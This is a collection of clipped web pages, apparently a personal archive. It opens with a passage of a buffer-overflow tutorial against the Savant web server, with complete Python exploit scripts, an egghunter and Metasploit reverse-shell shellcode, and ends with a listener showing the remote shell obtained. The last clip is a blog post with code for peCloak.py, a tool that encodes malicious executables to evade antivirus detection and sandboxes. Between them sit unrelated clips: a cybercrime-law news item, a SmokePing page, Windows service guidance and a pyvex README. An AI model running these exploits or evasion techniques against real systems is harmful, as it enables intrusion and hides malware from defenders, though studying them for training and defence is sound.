>  "\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"  
>  "\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"  
>  "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"  
>  "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"  
>  "\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
  
This shellcode is 314 bytes in size \(and thats before any encoding\), which
is not going to fit into the buffer size we have available in our exploit. And
as I mentioned earlier, this particular exploit is very finicky about buffer
size, so we cant just make the original buffer size any bigger. So what can we
do to use our shellcode of choice in this exploit?  
  
  
**We're Going to Need a Bigger Buffer...**  
  
If we can actually get a buffer containing our full shellcode into another
area of memory of this program, we may be able to redirect execution from our
current location to the new buffer so our shellcode can run. Leaving out the
specific details of how we redirect execution into this new section of memory
for the moment, lets first consider how can we actually get the data into
memory in the first place. Obviously we will need to send the data to the
program somehow....  
  
Well as it turns out there are a number of potential methods we could try in
order to get our shellcode into the prorgams memory. First of all, we could
send the data in a completely seperate HTTP request to the server, and hope it
stays in memory long enough for us to launch our attack. Or we can try to
insert it into another section of the same request that triggers the crash,
but in this case it has to be a section of the same request that is stored in
a different area of the programs memory when the crash occurs, because of the
specific buffer size requirements to cause an exploitable crash.  
  
In a HTTP request there are a number of different headers that could be used
for this. In the case of this exploit, the overflow occurs in the URI
component of the request, so we could attempt to insert our additional data
under one of the other headers such as Cookie or Referer. I did test for this,
but for the sakes of conserving space I won't go through the process I used,
which basically just involved trial and error sending of various differently
formed requests using different headers. Suffice to say that any other data I
inserted before the two carriage return/line feeds at the end of the crash
inducing request reproduced above resulted in a broken exploit.  
  
Inserting some data AFTER the two carriage return/line feeds however, worked
nicely. Lets try running the following exploit which inserts a nice long
buffer beginning with two repetitions of the string "R0cX".  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer2 = "R0cX" \+ "R0cX" \+ "\x41" \* 992  
>  
>  badbuffer = "\xcc"  
>  badbuffer += "\x41" \* \(254 - len\(badbuffer\)\)  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = "\xb0\x03\x04\x01\x7B\x15" \# MOV AL, 3; ADD AL, 1; JPO 15  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n' + buffer2  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
Run this exploit and check the program in the debugger. The program still
crashes as expected. If you step through program execution to the start of our
buffer of \x41 characters, and check this area of memory in the dump, you will
notice that our newly added buffer does NOT appear immediately after our
original buffer in memory.  
  

<img src='img/Temp2_8100.png' />

  
So where is it? If we bring up the Memory Map in OllyDbg \(View
menu->Memory\), and right click on the first entry and select Search, we can
search the memory of this program for the contents of our new buffer.  
  

<img src='img/Temp2_8097.png' />

  
In the search window enter our string from the start of our buffer \(take note
of the Hex representation of the string 52 30 63 58 as shown in the window
because you will need this later\) and hit OK to find it.  
  

<img src='img/Temp2_8113.png' />

  
This will search memory until it finds the string you specified, and once it
is found it will pop up a memory window showing the memory contents at the
location of the string.  
  

<img src='img/Temp2_8096.png' />

  
If you scroll down the window you will see that our \x41 characters are
present without any mangling. This is the buffer we sent to the program.  
  
So we have managed to get a new buffer into memory that we can use to store
our shellcode, but considering that its nowhere near our other buffer we still
have a problem of how we actually redirect code execution to this new buffer.
This is where the Egghunter comes in.  
  
  
**Hunting for Eggs**  
  
An Egghunter is essentially a small piece of machine code that can be used to
search for "eggs" \(or pieces of machine code\) within a programs memory in
order to pass control to that discovered piece of code.  
  
They are ideal for use in exploits where additional buffers can be inserted
into your vulnerable program, and where the original buffer you land in is
either too small or has too many bad characters to properly run your desired
shellcode.  
  
In this example, we will be using Matt Miller \(skapes\) egghunter, as
described in this paper. The source code of a program to generate Egghunter
code based on this method is available here.  
  
This c code will only compile using a Microsoft C compiler \(any of the free
Visual Studios will do the job\), so if you want to generate your own
egghunter code you will need to compile this from a Windows box. I will be
generating egghunter code using this code that you can copy and paste however,
so you don't need to do this if you don't want to.  
  
To compile an egghunter generating executable, you will need to start a Visual
Studio command prompt and run the following command to produce
egghunt\_syscall.exe.  
  

> cl egghunt\_syscall.c /link /debug
  
Transfer egghunt\_syscall.exe to your attacking system and generate the
egghunter by running it using wine.  
  

> user@bt4:~$ wine egghunt\_syscall.exe cstyle 0x58633052  
>  // 32 byte egghunt shellcode \(egg=0x58633052\)  
>  
>  unsigned char egghunt\[\] =
> "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
  
The identifying value we used here \(0x58633052\) is actually the hexadecimal
representation of our identifying string "R0cX" with the bytes in reverse
order. \(Remember the Hex values 52 30 63 58 from our Ollydbg search
window?\). Our Egghunter will actually be doing something conceptually similar
to what we did in the debugger when we searched for the string "R0cXR0cX" to
find our buffer. The Egghunter will look for this string appearing twice in a
row in memory, and it will pass control of the CPU to the commands that
immediately precede the string.  
  
Lets modify our exploit to add the egghunter to our first buffer and to add
some breakpoints after our string in the second buffer in order to stop
execution of the program in the debugger after the Egghunter does its work.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer2 = "R0cX" \+ "R0cX" \+ "\xcc" \* 992  
>  
>  badbuffer =
> "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
> \# egghunter searching for R0cX  
>  badbuffer += "\x90" \* \(254 - len\(badbuffer\)\)  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = "\xb0\x03\x04\x01\x7B\x14" \# MOV AL, 3; ADD AL, 1; JPO 14  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n' + buffer2  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
Running this version of the exploit and stepping through to the start of the
Egghunter we can see that the characters from the Egghunter have come through
unmolested. Now let the Egghunter run by hitting the F9 key, and after a brief
pause while the Egghunter does its work we will end up at our \xcc breakpoint
characters. Our Egghunter has successfully redirected execution to our second
buffer.  
  
  
**Adding Shellcode**  
  
Now we just need to add the reverse shell shellcode we generated earlier to
our exploit, as follows:  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer2 = "R0cX" \+ "R0cX"  
>  \# msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 C  
>  buffer2 += \("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"  
>  "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"  
>  "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"  
>  "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"  
>  "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"  
>  "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"  
>  "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"  
>  "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"  
>  "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"  
>  "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"  
>  "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"  
>  "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"  
>  "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"  
>  "\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"  
>  "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"  
>  "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"  
>  "\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"  
>  "\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"  
>  "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"  
>  "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"  
>  "\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"\)  
>  
>  badbuffer =
> "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
> \# egghunter searching for R0cX  
>  badbuffer += "\x90" \* \(254 - len\(badbuffer\)\)  
>  badbuffer += "\x09\x1D\x40" \# EIP Overwrite 00401D09 savant.exe POP EBP,
> RETN  
>  httpmethod = "\xb0\x03\x04\x01\x7B\x14" \# MOV AL, 3; ADD AL, 1; JPO 14  
>  
>  sendbuf = httpmethod + " /%" \+ badbuffer + '\r\n\r\n' + buffer2  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(sendbuf\)  
>  sock.close\(\)
  
Set up a listener on our attacking system:  
  

> user@bt4:~$ sudo nc -nvvlp 443  
>  listening on \[any\] 443 ...
  
And run our exploit. A short while later, after our Egghunter does its work...  
  

> user@bt4:~$ sudo nc -nvvlp 443  
>  listening on \[any\] 443 ...  
>  connect to \[192.168.20.11\] from \(UNKNOWN\) \[192.168.10.27\] 1074  
>  Microsoft Windows XP \[Version 5.1.2600\]  
>  \(C\) Copyright 1985-2001 Microsoft Corp.  
>  
>  C:\Savant>
  
We have shell\! Our exploit is complete.

# FT.com / Brussels - EU plans tougher cybercrime laws

**Created:**| _6/16/2009 6:49:56 PM_  
---|---  
**Updated:**| _6/16/2009 6:50:02 PM_  
**Author:**| __  
**Tags:**| _O RLY_  
  

## EU plans tougher cybercrime laws

By Maija Palmer, technology correspondent

Published: June 14 2009 19:56 | Last updated: June 14 2009 19:56 
The European Commission is planning to impose harsher penalties for people who
use the internet to commit crimes. New rules could see jail sentences for
cybercrimes increased to more than five years, from about one to three years
at present.

“We need new legislation to fight cyber attacks. Large-scale attacks are on
the rise but the penalties . . . are not severe enough to dissuade criminals,”
said Radomir Jansky, one of the senior cybercrime officials within the
Commission’s Directorate-General for Justice, Freedom and Security.

# Veriﬁed Just-In-Time Compiler on x86

**Created:**| _1/15/2010 12:20:38 PM_  
---|---  
**Updated:**| _1/15/2010 12:21:01 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification compiler-building papers
reversing_  
  
<img src='img/Temp2_8866' />

# SmokePing - About SmokePing

**Created:**| _7/30/2013 10:31:26 AM_  
---|---  
**Updated:**| _7/30/2013 10:31:26 AM_  
**Author:**| __  
**Tags:**| _monitoring_  
  

# **A** bout SmokePing****

SmokePing keeps track of your network latency:

  * Best of breed latency visualisation**.**
  * Interactive graph explorer**.**
  * Wide range of latency measurment plugins**.**
  * Master/Slave System for distributed measurement**.**
  * Highly configurable alerting system.
  * Live Latency Charts with the most 'interesting' graphs**.**
  * Free and OpenSource Software written in Perl written by Tobi Oetiker, the creator of MRTG and RRDtool

## New in Version 2**.** 6****

  * Added automake support for easy "configure, make install" installation
  * fixed strftime bug when sending alert mails

## New in Version 2**.** 5****

  * Switched from SpeedyCGI to FastCGI
  * DismanPing probe by Bill Fenner
  * OpenSSHJunOSPing \(Sponsoerd by Juniper\)
  * SIP Ping Probe \(Sponsored by ANI Networks\)
  * Support alert patterns with upper AND lower limit: \(>a<b\)
  * SmokeTrace removed**.** Check out remOcular .
  * Updated Prototype and scriptaculous libraries
  * ExpLoss matcher by Konoplev V.Konoplev
  * Improved slave update performance

****

# Guidance on Disabling System Services on Windows Server 2016 with Desktop
Experience

**Created:**| _7/17/2017 11:24:50 AM_  
---|---  
**Updated:**| _7/17/2017 11:24:50 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Guidance on Disabling System Services on Windows Server 2016 with Desktop
Experience

Rate this article

★★★★★

★★★★

★★★

★★

★

<img src='img/4644_avatar.jpg' width='22' height='22' alt='avatar of aaron-
margosis' />Aaron MargosisMay 29, 20172

  * Share
  * 306
  * 72

* * *
_\[Primary authors: Dan Simon and Nir Ben Zvi\]_

The Windows operating system includes many system services that provide
important functionality. Different services have different default startup
policies: some are started by default \(automatic\), some when needed
\(manual\) and some are disabled by default and must be explicitly enabled
before they can run. These defaults were chosen carefully for each service to
balance performance, functionality and security for typical customers.

However, some enterprise customers may prefer a more security-focused balance
for their Windows PCs and servers—one that reduces their attack surface to the
absolute minimum—and may therefore wish to fully disable all services that are
not needed in their specific environments. For those customers, Microsoft is
providing the accompanying guidance regarding which services can safely be
disabled for this purpose.

The guidance is for Windows Server 2016 with Desktop Experience \(unless used
as a desktop replacement for end users\). Each service on the system is
categorized as follows:

  * **Should Disable** : A security-focused enterprise will most likely prefer to disable this service and forgo its functionality \(see additional details below\).
  * **OK to Disable** : This service provides functionality that is useful to some but not all enterprises, and security-focused enterprises that don’t use it can safely disable it.
  * **Do Not Disable** : Disabling this service will impact essential functionality or prevent specific roles/features from functioning correctly. It therefore should not be disabled.
  * **\(No guidance\)** : These services should not be disabled.

Customers can configure their Windows PCs and servers to disable selected
services using the Security Templates in their Group Policies or using
PowerShell automation. In some cases, the guidance includes specific Group
Policy settings that disable the service’s functionality directly, as an
alternative to disabling the service itself.

We recommend that customers disable the following services and their
respective scheduled tasks on Windows Server 2016 with Desktop Experience:

_Services:_

  1. Xbox Live Auth Manager
  2. Xbox Live Game Save

_Scheduled tasks:_

  1. \Microsoft\XblGameSave\XblGameSaveTask
  2. \Microsoft\XblGameSave\XblGameSaveTaskLogon

See the attached spreadsheet for more information: Service-management-WS2016

* * *
  

# zardus/pyvex · GitHub

**Created:**| _9/30/2013 9:11:22 PM_  
---|---  
**Updated:**| _9/30/2013 9:11:22 PM_  
**Author:**| __  
**Tags:**| __  
  

# **z** ardus/pyvex · GitHub****

README.md

#  pyvex****

A python interface into Valgrind's VEX IR**\!** This was created mainly to
utilize VEX for static analysis, but it would be cool to integrate this with
Valgrind as well**.** To that end, I've started writing pygrind to pass
instrumentation over to Python, but this doesn't work yet**.**

##  Build****

For now, pyvex requires valgrind to be compiled with fPIC:

[code]

    mkdir ~/valgrind
    cd ~/valgrind
    wget http://valgrind.org/downloads/valgrind-3**.** 8.1.tar.bz2
    tar xvfj valgrind-3**.** 8.1.tar.bz2
    cd valgrind-3.8**.** 1
    CFLAGS=-fPIC ./configure --prefix=$HOME/valgrind/inst
    make
    make install
    
[/code]

Great**\!** Now you can build pyvex.

[code]

    python setup**.** py build
    
[/code]

Sweet\! Now you'll notice that two libraries are built**.** pyvex.so is pyvex
with all the functionality, and pyvex\_dynamic is pyvex without the ability to
statically create IRSBs from provided bytes**.** With the latter, the only
pre-made IRSBs would presumably come from Valgrind at runtime, but since that
doesn't work yet, the latter one is rather useless**.**

You can use pyvex pretty easily**.** For now, it only supports translation and
pretty printing:

[code]

    import pyvex
    irsb = pyvex.IRSB(bytes="\x55\xc3") # translates "push ebp; ret" to VEX IR
    irsb**.** pp() # prints the VEX IR
    
[/code]

Awesome stuff**\!**

##  Static gotchas****

To use PyVEX statically, VEX's memory management needs to be worked
around**.** The issue is that all of the nice, helpful, constructor functions
\(ie, emptyIRSB\(\), mkIRCallee\(\), etc\) allocate memory managed by VEX, and
VEX is liable to free it or reuse it at any time**.** Thus, everything needs
to be deepCopied out of VEX**.**

There are a few approaches to solving this**.** To work around the issue, we
could simply pull all of these functions out of VEX and use our local copies,
using reasonable memory management**.** However, that's a lot of functions to
pull out and keep synced**.** We took the \(possibly worse\) approach of
deepCopying everything away from VEX**.** The file generate\_deepcopy**.** sh
copies out the deepCopy operations out of VEX, does some sedding to rename the
functions, and we call those to pull everything out from VEX**.**

One issue with that the fact that we need to explicitly replace functions,
hence the giant list of defines in that shell script**.** Whenever Valgrind
adds more of these, pyvex might silently segfault until they're added to the
replacement list**.**

##  Next steps****

  * Get pyvex working in Valgrind, dynamically**.**
    * this requires getting the python interpreter to play nice with Valgrind**.** It's unclear if this is possible**.**
  * Debug this stuff.

  * Some class members are named incorrectly**.** I started out trying to name things nicer, but then realized that the naming should be consistent with the C structs**.** The inconsistencies should be fixed.
  * help\(\) is sorely lacking
  * The class objects for the different sub-statements, sub-expressions, and sub-constants get inherited for instances of these classes**.** This is kindof ugly \(ie, pyvex.IRStmt.NoOp\(\).WrTmp is a valid reference to the WrTmp class\)**.**
  * pretty-printing an emptyIRSB segfaults
  * when used statically, memory is never freed
  * converting from string to tag is currently very slow \(a hastily written consecutive bunch of strcmps\)
  * IRCallee assumes that addresses are 64-bytes long, and will corrupt memory otherwise**.** This can be fixed by writing a getter/setter instead of using the macroed ones**.**
  * CCalls are created by creating the IRCallee and manually building the args list, instead of by calling the helper functions**.** Not sure if this is good or bad. On the other hand, Dirty statements are created through helper functions**.**
  * deepCopying a binder IRExpr seems to crash VEX
  * deepCopying a V256 const is not implemented by VEX's deepCopy stuff
  * IRDirty's fxState array access is untested
  * equality \(for those things that easily have it\) should be implemented as a rich comparator

****

# Masterarbeit „Netzwerkmonitor für die Ortung in GSM-Netzen“

**Created:**| _7/22/2010 3:55:39 PM_  
---|---  
**Updated:**| _7/22/2010 3:56:12 PM_  
**Author:**| __  
**Tags:**| _research awesome work USRP_  
  
<img src='img/Temp2_5238' />

# UgDbg

**Created:**| _10/30/2012 10:35:01 AM_  
---|---  
**Updated:**| _10/30/2012 10:35:01 AM_  
**Author:**| __  
**Tags:**| _Debugging windows_  
  
UgDbg

# peCloak.py - An Experiment in AV Evasion - Security SiftSecurity Sift

**Created:**| _8/19/2015 11:13:47 AM_  
---|---  
**Updated:**| _8/19/2015 11:13:47 AM_  
**Author:**| __  
**Tags:**| _antivirus Obfuscation_  
  

### Introduction

I just wrapped up the Offensive Security Cracking The Perimeter \(CTP\) course
and one of the topics was AV evasion. Although I write a lot of custom scripts
and tools, when it comes to AV evasion, I typically rely on the tools and
methods of others \(Veil, powershell, python, custom shellcode\). That said,
the great thing about courses like CTP is they give me an excuse to
investigate a topic that I haven’t had an opportunity to delve into in much
detail.

The CTP course was developed several years ago and I was curious how far AV
vendors have come since then; so, after completing the course module, I
decided to delve a bit further and devised a little experiment to see how easy
it would be to consistently bypass detection of some of the market leading AV
products. I spent a weekend tapping out some code and what resulted was a
simple proof-of-concept python script I dubbed “peCloak” which automates the
process of hiding a malicious windows executable from AV detection \(a copy of
the beta version is available at the end of this post\).

### The Experiment

Before we get wrapped up in the terms, let me just say that I’m using the word
“experiment” _very_ loosely. There won’t be any control groups or random
selection so please don’t go critiquing my application of the scientific
method\! <img src='img/Temp2_10546.png' alt=':)' />

#### Hypothesis

My hypothesis was simple and based on common knowledge: AV detection is
heavily reliant on file signatures with limited application of sandbox /
heuristic-based detection.

Therefore I was confident that by modifying portions of the executable and
introducing basic sandbox-defeating functionality I could render most client-
side AV detection ineffective.

#### Requirements

I set out with the following requirements:

  1. The modified PE file must evade AV detection from market-leading products with up-to-date definitions.
  2. The encoded malicious payload must execute without error. Failure to execute regardless of AV detection would be considered an unsuccessful bypass.
  3. The entire process \(encoding, decoding, etc\) must be automated. No manual manipulation of code caves or jump codes within a debugger.

#### The Test Environment and Selected AV Products

All testing was performed on a virtualized Windows XP SP3 machine \(except for
Symantec SEP testing which was conducted on a Mac Host\). A Kali VM was used
to verify operability of pre- and post-encoded reverse shell payloads.

I wanted to represent the “market share leaders” in the AV product market so I
decided on using the opswat January 2015 report.

<img src='img/Temp2_10545.png' width='352' height='324' alt='pecloak1' />

How accurately this truly represents market share is questionable \(especially
with a sample size of 4000\) so I decided to test every vendor outside of the
“Other” category as well as a sampling of vendors within that category. In the
end, the vendors I chose were:

Avast | Comodo  
---|---  
Microsoft | Spybot  
AVG | Panda  
Avira | Trend Micro  
Symantec | Bitdefender  
McAfee | Bullguard  
ESET | Malwarebytes  
Kaspersky Lab |   
|  
With the exception of Symantec SEP, all tested AV products were the free
versions offered by the respective vendor. The specific product name appears
in the results section that follows.

I wanted to test multiple “malicious” executable payloads that would be easily
detected by any AV product so I chose the following four:

  * Two metasploit payloads \(meterpreter\_reverse\_tcp and shell\_reverse\_tcp\)
  * A local privilege escalation exploit \(KiTrap0D aka”vdmallowed” – http://www.exploit-db.com/exploits/11199/\)
  * A metasploit reverse\_tcp backdoored executable \(strings.exe from sysinternals\)

All were verified to function prior to any modification/encoding.

#### The Approach

For successful AV evasion, I figured I needed a few features.

  * First, I had to implement some form of encoding or encryption that would defeat signature based detection. I gave myself the additional constraint that I could only use simple xor, add, or sub instructions in my encoder — not because anything else would be too complicated, but rather to show that the encoding approach did not have to be complex to defeat signature based detection.
  * Second, I needed to defeat any sandbox -based, heuristic run time detections that might be employed by an AV product.
  * Third, I wanted to minimize the static nature of the decoding/heuristic code that would be included in the modified executable to avoid having it become a signature for AV detection.

### A closer look at peCloak.py

To meet all requirements I wrote a python script that I dubbed “peCloak”.
While I walk through the basic approach, please keep in mind that the bulk of
this was written over a weekend so there are plenty of potential improvements
that could be made. I am not presenting this as an alternative to existing
tools like the Veil Framework and I don’t plan on maintaining the script
beyond this simple beta version. This was simply the automated approach to AV
evasion I developed in the context of my little “experiment”; though I hope
that some of the approaches I used might be helpful to you if you’re
considering delving deeper in the world of AV evasion.

Here’s a copy of my current \(beta\) version of peCloak.py:

peCloak.py

peCloak.py

Version: Beta

48.3 KiB

1555 Downloads

Details

Please note there are a few dependencies should you desire to try it out for
yourself:

  * pydasm
  * pefile
  * SectionDoubleP

While I won’t be covering all of the code in-depth \(it’s fairly well
commented for a beta version\), let me walk you through some of the approaches
I used when developing this script.

#### Encoding

To avoid signature-based detections, there is an obvious requirement for some
form of encoding. With my self-imposed constraints of using only basic add,
sub, xor instructions, and dynamic construction of the encoding order, I came
up with the following really simple encoder routine \(portions of the function
removed for brevity\):

12345678910111213141516171819 | def build\_encoder\(\): encoder = \[\] encode\_instructions = \["ADD","SUB","XOR"\] \# possible encode operations num\_encode\_instructions = randint\(5,10\) \# determine the number of encode instructions \# build the dynamic portion of the encoder while \(num\_encode\_instructions > 0\): modifier = randint\(0,255\) \# determine the encode instruction encode\_instruction = random.choice\(encode\_instructions\) encoder.append\(encode\_instruction + " " + str\(modifier\)\) num\_encode\_instructions -= 1 ... snip ... return encoder  
---|---  
It meets all of my criteria — a simple set of instructions whose number,
order, and modifiers are all chosen pseudo-randomly to increase variation.

The encoding process happens at script run-time by reading in the contents of
the file and encoding the designated section\(s\) byte by byte. By default,
the script encodes the entirety of the PE section that contains the executable
code \(typically the .text or .code section\) but that’s a configurable
option. I leverage the pefile library to do the heavy lifting for mapping the
contents of the file and retrieving various sections.

You can see this basic encoding process illustrated in the below excerpt of
the encode\_data function:

12345678910111213141516171819202122 | data\_to\_encode = retrieve\_data\(pe, section\_name, "virtual"\) \# grab unencoded data from section ... snip ... \# generate encoded bytes count = 0 for byte in data\_to\_encode: byte = int\(byte, 16\) if \(count >= encode\_offset\) and \(count < encode\_length + encode\_offset\): enc\_byte = do\_encode\(byte, encoder\) else: enc\_byte = byte count += 1 encoded\_data = encoded\_data + "\{:02x\}".format\(enc\_byte\) \# make target section writeable make\_section\_writeable\(pe, section\_name\) \# write encoded data to image print "\[\*\] Writing encoded data to file" raw\_text\_start = section\_header.PointerToRawData \# get raw text location for writing directly to file pe.set\_bytes\_at\_offset\(raw\_text\_start, binascii.unhexlify\(encoded\_data\)\)  
---|---  
#### Decoding

Decoding is also relatively simple in that it’s just the reverse of the
encoding routine. The order of instructions is reversed \(FIFO\) and the
instructions themselves must be inverse \(add becomes sub, sub becomes add and
xor remains the same\). For example, here is an example encoding routine and
it’s corresponding decoder.

**_Encoder_** | **_Decoder_**  
---|---  
  1. ADD 9
  2. SUB 3
  3. XOR 2E
  4. ADD 12
  5. SUB 1
  6. XOR 3F
  7. ADD 7

|

  1. SUB 7
  2. XOR 3F
  3. ADD 1
  4. SUB 12
  5. XOR 2E
  6. ADD 3
  7. SUB 9

  
The decode function looks something like this:

get\_address: mov eax, decode\_start\_address ; Move address of sections's
first encoded byte into EAX decode: ; assume decode of at least one byte
...dynamic decode instructions... ; decode operations + benign fill inc eax ;
increment decode address cmp eax, encode\_end\_address ; check address with
end\_address jle, decode ; if in range, loop back to start of decode function
...benign filler instructions... ; additional benign instructions that alter
signature of decoder

123456789 | get\_address: mov eax, decode\_start\_address ; Move address of sections's first encoded byte into EAX decode: ; assume decode of at least one byte  ...dynamic decode instructions... ; decode operations + benign fill inc eax ; increment decode address cmp eax, encode\_end\_address ; check address with end\_address jle, decode ; if in range, loop back to start of decode function ...benign filler instructions... ; additional benign instructions that alter signature of decoder  
---|---  
To build the decoder, I simply use a dictionary of assembly opcodes for the
inverse instructions of the various encode operations. I then loop through the
encoder that was previously created and use that to build the corresponding
decoder. This is necessary since the encoder is dynamically constructed \(and
therefore different\) each time.

Here’s a look at that function:

12345678910111213141516171819202122232425262728 | def build\_decoder\(pe, encoder, section, decode\_start, decode\_end\): decode\_instructions = \{ "ADD":"\x80\x28", \# add encode w/ corresponding decoder ==> SUB BYTE PTR DS:\[EAX\]  "SUB":"\x80\x00", \# sub encode w/ corresponding add decoder ==> ADD BYTE PTR DS:\[EAX\] "XOR":"\x80\x30" \# xor encode w/ corresponding xor decoder ==> XOR BYTE PTR DS:\[EAX\] \} decoder = "" for i in encoder: encode\_instruction = i.split\(" "\)\[0\] \# get encoder operation modifier = int\(i.split\(" "\)\[1\]\) \# get operation modifier decode\_instruction = \(decode\_instructions\[encode\_instruction\] + struct.pack\("B", modifier\)\) \# get corresponding decoder instruction decoder = decode\_instruction + decoder \# prepend the decode instruction to execute in reverse order \# add some fill instructions fill\_instruction = add\_fill\_instructions\(2\) decoder = fill\_instruction + decoder mov\_instruct = "\xb8" + decode\_start \# mov eax, decode\_start decoder = mov\_instruct + decoder \# prepend the decoder with the mov instruction  decoder += "\x40" \# inc eax decoder += "\x3d" + decode\_end \# cmp eax, decode\_end back\_jump\_value = binascii.unhexlify\(format\(\(1 << 16\) - \(len\(decoder\)-len\(mov\_instruct\)+2\), 'x'\)\[2:\]\) \# TODO: keep the total length < 128 for this short jump decoder += "\x7e" + back\_jump\_value \# jle, start\_of\_decode  decoder += "\x90\x90" \# NOPS return decoder  
---|---  
#### Heuristic Bypass

The heuristic bypass routine is nothing more than a set of instructions that
waste cycles in an effort to trick the AV scanner that the executable is
benign. NOPS, INC/DEC, ADD/SUB, PUSH/POP are all candidates. Just as with the
encoding routine, I select a pseudo random number and order of these benign
instructions and pair them with an incrementing counter /compare instruction
\(also chosen pseudo – randomly from a given range\) to create a loop of
finite iterations .

The number of loops within a given heuristic routine is configurable at script
run time, though keep in mind that the more iterations you implement, the
longer it will take for the cloaked executable to start.

1234567891011121314151617181920212223242526272829303132333435 | def generate\_heuristic\(loop\_limit\): fill\_limit = 3 \# the maximum number of fill instructions to generate in between the heuristic instructions heuristic = "" heuristic += "\x33\xC0" \# XOR EAX,EAX heuristic += add\_fill\_instructions\(fill\_limit\) \# fill heuristic += "\x40" \# INC EAX heuristic += add\_fill\_instructions\(fill\_limit\) \# fill heuristic += "\x3D" + struct.pack\("L", loop\_limit\) \# CMP EAX,loop\_limit short\_jump = binascii.unhexlify\(format\(\(1 << 16\) - \(len\(heuristic\)\), 'x'\)\[2:\]\) \# Jump immediately after XOR EAX,EAX heuristic += "\x75" + short\_jump \# JNZ SHORT  heuristic += add\_fill\_instructions\(fill\_limit\) \# fill heuristic += "\x90\x90\x90" \# NOP return heuristic ''' This is a very basic attempt to circumvent remedial client-side sandbox heuristic scanning by stalling program execution for a short period of time \(adjustable from options\)'''def build\_heuristic\_bypass\(heuristic\_iterations\): \# we only need to clear these registers once heuristic\_start = "\x90\x90\x90\x90\x90\x90" \# XOR ESI,ESI heuristic\_start += "\x31\xf6" \# XOR ESI,ESI heuristic\_start += "\x31\xff" \# XOR EDI,EDI heuristic\_start += add\_fill\_instructions\(5\) \# compose the various heuristic bypass code segments  heuristic = "" for x in range\(0, heuristic\_iterations\): loop\_limit = randint\(286331153, 429496729\) heuristic += generate\_heuristic\(loop\_limit\) \#+ heuristic\_xor\_instruction print "\[\*\] Generated Heuristic bypass of %i iterations" % heuristic\_iterations heuristic = heuristic\_start + heuristic  return heuristic  
